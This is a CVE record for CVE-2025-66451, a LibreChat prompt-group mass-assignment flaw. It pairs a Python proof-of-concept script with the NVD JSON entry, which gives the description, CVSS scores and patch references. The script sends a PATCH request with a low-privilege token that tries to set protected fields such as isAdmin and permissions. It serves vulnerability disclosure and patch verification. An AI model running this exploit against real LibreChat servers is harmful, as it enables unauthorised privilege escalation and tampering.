CVE-2025-66451

import requests import json # CVE-2025-66451 PoC - LibreChat Prompt Group Privilege Escalation # Target: LibreChat <= 0.8.0 # Endpoint: PATCH /api/prompts/groups/:groupId target_url = "http://target-server:3000" group_id = "TARGET_GROUP_ID" access_token = "YOUR_LOW_PRIVILEGE_TOKEN" # Malicious payload - attempt to modify protected fields malicious_payload = { "name": "Modified Group Name", "description": "Privilege escalation test", # Attempt to modify fields not intended for user modification "isAdmin": True, "isPublic": True, "permissions": ["admin", "write", "read"] } headers = { "Content-Type": "application/json", "Authorization": f"Bearer {access_token}" } endpoint = f"{target_url}/api/prompts/groups/{group_id}" try: response = requests.patch(endpoint, json=malicious_payload, headers=headers, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: print("[+] Request successful - vulnerability may exist") else: print("[-] Request failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2025-66451", "sourceIdentifier": "[email protected]", "published": "2025-12-11T23:15:50.690", "lastModified": "2025-12-15T17:51:16.570", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LibreChat is a ChatGPT clone with additional features. In versions 0.8.0 and below, when creating prompts, JSON requests are sent to define and modify the prompts via PATCH endpoint for prompt groups (/api/prompts/groups/:groupId). However, the request bodies are not sufficiently validated for proper input, enabling users to modify prompts in a way that was not intended as part of the front end system. The patchPromptGroup function passes req.body directly to updatePromptGroup() without filtering sensitive fields. This issue is fixed in version 0.8.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-915"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:librechat:librechat:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.8.1", "matchCriteriaId": "9C781B65-3680-4762-9FEB-F404DDA1810C"}]}]}], "references": [{"url": "https://github.com/danny-avila/LibreChat/commit/01413eea3d3c1454d32ca9704fa9640407839737", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/danny-avila/LibreChat/security/advisories/GHSA-vpqq-5qr4-655h", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}